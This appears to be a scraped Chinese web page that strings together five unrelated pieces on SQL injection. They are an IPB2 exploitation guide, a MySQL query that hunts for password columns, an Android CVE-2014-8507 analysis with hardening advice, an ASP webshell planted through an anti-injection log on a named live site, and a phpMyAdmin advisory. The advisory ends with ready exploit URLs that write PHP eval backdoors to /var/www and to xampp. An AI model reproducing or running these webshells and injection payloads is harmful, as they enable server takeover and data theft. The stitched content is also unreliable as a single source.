51阅读吧 - 为您打造专业优质的文章分享平台!
您的当前位置: 51阅读吧 >

sql注入漏洞|IPB2注入漏洞的深入利用

NO.1 IPB2注入漏洞的深入利用

  在上一篇《PHP+MySQL注入导出文件的新发现——附带IPB2的漏洞利用》,利用IPB2的注入漏洞获得管理员的资料,修改COOKIE可以得到前台的管理权限。不少人埋怨没有什么用,其实这个是大多数人不了解IPB2的原因。

  因为过滤了很多特殊字符,包括单引号,全部转为十进制了。

  其实充分发挥一下想象力。也是有可能拿到后台管理员或者webshell的,注意,是可能,因为这个并不是通杀的,为什么不是通杀的,往下看就知道了。

  我也不多说了。对于这个,我看最直接的目的就是看MYSQL的连接信息。怎么看?读文件呗!

  我想不管是读文件和上传,这个注入漏洞都给我们提供了最直接的条件,如果了解IPB2的人就应该知道。上传的目录是保存数据库里的,因此。我们根本不需要怎么提交、不需要构造什么变量去报错暴路径,IPB2也没有这个条件去暴这些信息。就算出错也只返回特定的信息。

  IPB2的上传目录的路径是保存在ibf_conf_settings表里,所以我们可以构造SQL语句,把这个路径给直接反馈到眼前。

  这样是读取id为1的用户的密码散列,同样的,我们如果提交:

  就会返回上传目录的绝对路径:

  不过,默认应该是这样可以了的,但是如果管理员把conf_id改变的话,可能就不是59了。这时我们直接提交:

  因为conf_key为upload_dir的相对应的conf_value就是上传目录的绝对路径,但是因为是字符串,我们不能用单引号,只能转换为10进制或者16进制,char(117, 112, 108, 111, 97, 100, 95, 100, 105, 114)就等于“upload_dir”,所以也会返回绝对路径。

  有了绝对路径能做什么呢?知道可以允许写的目录在哪了。知道MYSQL连接文件在哪了,还等什么?读文件吧。假设上面的,我们的目录是“h:/www/ipb2/”,那么连接文件就是“h:/www/ipb2/conf_global.php”,转换为10进制或者16进制,提交:

  文件就出来了:

  注意注意!刚才说了,不是通杀的,有两个条件:

  要读出文件,连接MYSQL的这个用户,一定要拥有FILE的权限。这个是最根本的。

  条件1具备以后,要更进一步操作,MYSQL必须允许远程连接,这样insert一个后台管理员,还是into outfile都随便你了。

  本文完全是技巧和思路的文章,没有多大技术含量,都是老技术了,如果你不了解IPB2,也不知道在数据库里放有绝对路径吧?

 

(本文由责任编辑 pasu  整理发布)

 

NO.2 mysql5 注入漏洞

复制代码 代码如下:


select concat_ws(0x2f,information_schema.tables.table_schema,`information_schema`.`COLUMNS`.table_name,`information_schema`.`COLUMNS`.column_name) from `information_schema`.`COLUMNS` left join information_schema.tables on `information_schema`.`COLUMNS`.table_name=information_schema.tables.table_name where `information_schema`.`COLUMNS`.column_name like 0x257061737325 limit 0,1;

NO.3 Android平台的SQL注入漏洞浅析(一条短信控制你的手机)

0x0前言

      14年11月笔者在百度xteam博客中看到其公开了此前报告给Google的CVE-2014-8507漏洞细节——系统代码在处理经由短信承载的WAP推送内容时产生的经典SQL注入漏洞,影响Android 5.0以下的系统。于是对这个漏洞产生了兴趣,想深入分析看看该漏洞的危害,以及是否能够通过一条短信来制作攻击PoC。

      在断断续续的研究过程中,笔者发现了SQLite的一些安全特性演变和短信漏洞利用细节,本着技术探讨和共同进步的原则,结合以前掌握的SQLite安全知识一同整理分享出来,同各位安全专家一起探讨Android平台中SQLite的安全性,如有错误之处,也请大家斧正。

0x1起:食之无味,弃之可惜

      鼎鼎大名的SQL注入漏洞在服务器上的杀伤力不用多说,可惜虎落平阳被犬欺,SQL注入漏洞在Android平台长期处于比较鸡肋的状态。比较典型的漏洞例子可以参考:http://www.wooyun.org/bugs/wooyun-2014-086899。

      虽然Android平台大量使用SQLite存储数据导致SQL注入很常见,而SQL注入的发现也相对简单,但其危害十分有限:在无其他漏洞辅助的情况下,需要在受害者的手机上先安装一个恶意APP,通过这个恶意载体才可能盗取有SQL注入漏洞的APP的隐私数据(如图1)。很多人会说,都能够安装恶意APP了,可以利用的漏洞多了,还要你SQL注入干嘛。正是因为这个原因,导致SQL注入漏洞一直不被大家所关注。


图1 通过SQL注入漏洞获取某APP的敏感信息0x2承:远程攻击的大杀器

14年TSRC平台的白帽子雪人提出了一种存在已久,在Android平台却鲜未被提起的SQL注入利用方式:load_extension。通过一些简单漏洞的配合,SQL注入漏洞可以达到远程代码执行的可怕威力。

     简单来说,为了方便开发者可以很轻便的扩展功能,SQLite从3.3.6版本(http://www.sqlite.org/cgi/src/artifact/71405a8f9fedc0c2)开始提供了支持扩展的能力,通过sqlite_load_extension API(或者load_extensionSQL语句),开发者可以在不改动SQLite源码的情况下,通过动态加载的库(so/dll/dylib)来扩展SQLite的能力。


图2 SQLite从3.3.6版本开始支持动态加载扩展

       便利的功能总是最先被黑客利用来实施攻击。借助SQLite动态加载的这个特性,我们仅需要在可以预测的存储路径中预先放置一个覆盖SQLite扩展规范的动态库(Android平台的so库),然后通过SQL注入漏洞调用load_extension,就可以很轻松的激活这个库中的代码,直接形成了远程代码执行漏洞。而在Android平台中有漏洞利用经验的同学应该都很清楚,想要把一个恶意文件下载到手机存储中,有许多实际可操作的方式,例如收到的图片、音频或者视频,网页的图片缓存等。类似的案例笔者也见到过,如下图远程利用SQL注入load_extension在某APP中执行了恶意的SQLite扩展。


图3 Android  APP中SQL注入导致的远程代码执行

0x3转:攻与防的对立统一

       也许是SQLite官方也意识到了load_extension API的能力过于强大,在放出load_extension功能后仅20天,就在代码中(http://www.sqlite.org/cgi/src/info/4692319ccf28b0eb)将load_extension的功能设置为默认关闭,需要在代码中通过sqlite3_enable_load_extensionAPI显式打开后方可使用,而此API无法在SQL语句中调用,断绝了利用SQL注入打开的可能性。


图4 SQLite默认关闭了load_extension能力

        凑巧的是,出于功能和优化的原因,Google从 Android 4.1.2开始通过预编译宏SQLITE_OMIT_LOAD_EXTENSION,从代码上直接移除了SQLite动态加载扩展的能力(如图4)。


图5 Google在Android 4.1中禁用了load_extension

       虽然有了以上两层安全加固,但Android平台的安全问题往往不是这么容易就能够解决的。和Android平台五花八门的机型和系统版本一样,部分手机生厂商和第三方数据库组件并未跟随官方代码来关闭自身代码中SQLite动态加载扩展的能力,默认便可以直接使用SQL注入load_extension,导致这些手机或者APP极易被远程攻击。

       总结来说,利用SQLite的load_extension远程实施攻击,适用于4.1.2以前的官方Android版本,或者是部分手机厂商的机器,又或者是使用到某些第三方数据库组件的APP。客观来看,这种攻击手法的攻击面并不算宽,并会随着高版本Android的普及和手机厂商的代码跟进而越来越窄。

       那么除了最直接最暴力的load_extension攻击方式之外,SQL注入是不是又变得一无是处了?在魔术师一般的安全人员手里,不管多么不起眼的攻击方式都可能被用到极致。百度xteam的CVE-2014-8507就是一个很好的例子。

0x4合:一条短信就控制你的手机

        接下来,我们回到最开始的问题,如何通过一条短信来控制手机?

        事实上在看到CVE-2014-8507后,笔者花费了大量时间尝试在标准Android机器中,通过彩信发送恶意so库,随后通过短信激活恶意so库的方式,来实现控制手机。最终由于SQLite自身的sqlite3_enable_load_extension保护和系统代码其他若干个方面的限制,成功在smspush进程完成SQL注入后,却没有办法进一步利用恶意so库,无法完成正在意义上的控制手机。

       另外一方面,百度xteam对CVE-2014-8507的利用已经很精彩,结合WAP推送处理代码的特点利用SQL注入提供数据,完成了打开通过短信任意APP的导出Activity的攻击,结合上其他的系统或者APP漏洞,不难达到真正意义上控制手机的效果。

       作为狗尾续貂的补充,接下来和大家探讨一下如何在真实手机中通过自行构造PDU给任何Android 5.0以下机器发送含有SQL注入代码的WAP推送消息。

       承载攻击的是WAP推送功能,而正常的短信APP无法通过短信发出WAP推送,通过短信群发等其他运营商提供的短信接口,也无法发出WAP推送消息。笔者通过一段时间对短信PDU格式的研究后发现,在Android vendor RIL之上进行一些修改,普通的手机也能够发出WAP推送消息。下图6的sendSMS函数(http://androidxref.com/4.4.4_r1/xref/frameworks/opt/telephony/src/java/com/android/internal/telephony/RIL.java)在每次发送短信前都会被系统调用,其中的第二个参数我们可以得到完整的原始PDU,通过对PDU内容进行一些修改,我们可以把普通的短信变成WAP推送消息。在此位置进行改动,随后PDU在替换后向底层传之后,也能成功的被基带解析并发送,接收方也能成功的接受并处理。


图6 Android vendor RIL中的短信发送函数

        普通短信的PDU中,包含了信息中心的号码,发送方的号码,接收方的号码,时间戳以及短信内容文本(如下图7)。而WAP推送和普通短信的最重要区别,就是WAP推送承载的是WBXML格式的多媒体消息而不是普通文本,通过修改PDU中的类型标志位并附加上WBXML格式的内容,一条合法的WAP推送消息就能成功的从手机中发出。


图7 典型的短信PDU格式

       为了方便测试和演示,笔者写了一个转换WAP推送的Xposed模块(如下图)。激活后,通过短信APP中发送给任何人的普通短信都会自动转换成包含CVE-2014-8507 SQL注入漏洞的WAP推送,自动打开对方手机的设置界面。关键的PDU处理代码请点击这里下载,请勿用于任何非测试用途。


图8 转换普通短信为WAP推送的Xposed模块代码

0x5后记:如何使APP的数据库使用更安全

       从2014年腾讯整体漏洞的数据来看,跟数据库安全相关的全部都跟SQL注入漏洞有关。因此,能够封堵SQL注入漏洞,基本上就能安全的使用数据库了。下面结合历史漏洞给出以下几点安全建议供大家参考(如果是腾讯的同学就方便多了,我们终端安全团队为业务定制了数据库安全组件):

1.   不直接使用原始SQL语句,而是使用具备预编译参数能力的SQL API;

2.   如果一定要使用原始SQL语句,语句中不应有进行任何字符串拼接的操作;

3.   如非必要,记得主动调用SQL API关闭动态加载扩展的能力;

4.   使用数据加密(如SqlCipher)扩展SQLite数据存储的安全性。

NO.4 SQL通用防注入系统asp版漏洞

今晚群里朋友叫看个站,有sql防注入,绕不过,但是有发现记录wrong的文件sqlin.asp。

既然做了记录,再查看了下它的记录文件

 于是想着构造个asp一句话写进去,前面几种没加密的都失败了,于是写了个加密的
            ┼攠數畣整爠煥敵瑳∨≡┩愾           密码 a  (加密方式是: ANSI->Unicode)
 提交       and 1= ┼攠數畣整爠煥敵瑳∨≡┩愾

   http://www.jnb1.net/sqlin.asp   菜刀连接之,成功

 
+----------------------------------------+
 其实过程并不难,也没什么技术难度,但是有时遇到这种记录注入错误的网站,多个便捷途径还是不错的。还有,另外百度了下,发现半坑土农民曾经发现了类似的,但是,额,去他博客看时 , 瀑布汗 
   

NO.5 phpMyAdmin table参数SQL注入漏洞

影响版本:
phpMyAdmin phpmyadmin 3.x
phpMyAdmin phpMyAdmin 2.11.x
漏洞描述:
BUGTRAQ ID: 32720

phpMyAdmin是用PHP编写的工具,用于通过WEB管理MySQL。

phpMyAdmin的./phpmyadmin/libraries/db_table_exists.lib.php文件中没有正确地过滤table参数:

$_result = PMA_DBI_try_query(
'SELECT COUNT(*) FROM `' .
PMA_sqlAddslashes($table, true) . '`;',
null, PMA_DBI_QUERY_STORE);

PMA_sqlAddslashes()函数仅禁用了单引号,但忽略了反勾号(`)和双引号("),因此远程攻击者可以通过提交恶意请求执行sql注入攻击。
<*参考
http://secunia.com/advisories/33076/
http://www.phpmyadmin.net/home_page/security/PMASA-2008-10.php
http://www.milw0rm.com/exploits/7382
*>
SEBUG安全建议:
phpMyAdmin
----------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://phpmyadmin.svn.sourceforge.net/viewvc/phpmyadmin?view=rev&revision=12100


*nix平台: <html> <img src="http://10.1.1.10/phpmyadmin/tbl_structure.php?db=information_schema&table=TABLES%60+where+0+union+select+char%2860%2C+63%2C+112%2C+104%2C+112%2C+32%2C+101%2C+118%2C+97%2C+108%2C+40%2C+36%2C+95%2C+71%2C+69%2C+84%2C+91%2C+101%2C+93%2C+41%2C+63%2C+62%29+into+outfile+%22%2Fvar%2Fwww%2Fbackdoor.php%22+--+1"> </html> path: /var/www/backdoor.php backdoor: <?php eval($_GET[e]);?> Windows平台: <html> <img src="http://10.1.1.10/phpmyadmin/tbl_structure.php?db=information_schema&table=TABLES%60+where+0+union+select+char%2860%2C+63%2C+112%2C+104%2C+112%2C+32%2C+101%2C+118%2C+97%2C+108%2C+40%2C+115%2C+116%2C+114%2C+105%2C+112%2C+115%2C+108%2C+97%2C+115%2C+104%2C+101%2C+115%2C+40%2C+36%2C+95%2C+71%2C+69%2C+84%2C+91%2C+101%2C+93%2C+41%2C+41%2C+59%2C+63%2C+62%29+into+outfile+%22c%3A%2Fxampp%2Fhtdocs%2Fbackdoor.php%22+--+1"> </html> path: c:/xampp/htdocs/backdoor.php backdoor: <?php eval(stripslashes($_GET[e]));?>
上一篇:求职简历表格|日语客服求职简历表格 上一篇:月工作计划范文|月工作计划范文精选
与该文相关的文章

温馨提示:如果您对51阅读吧有任何建议,请通过网站联系邮箱向我们反馈,感谢各位的建议与支持!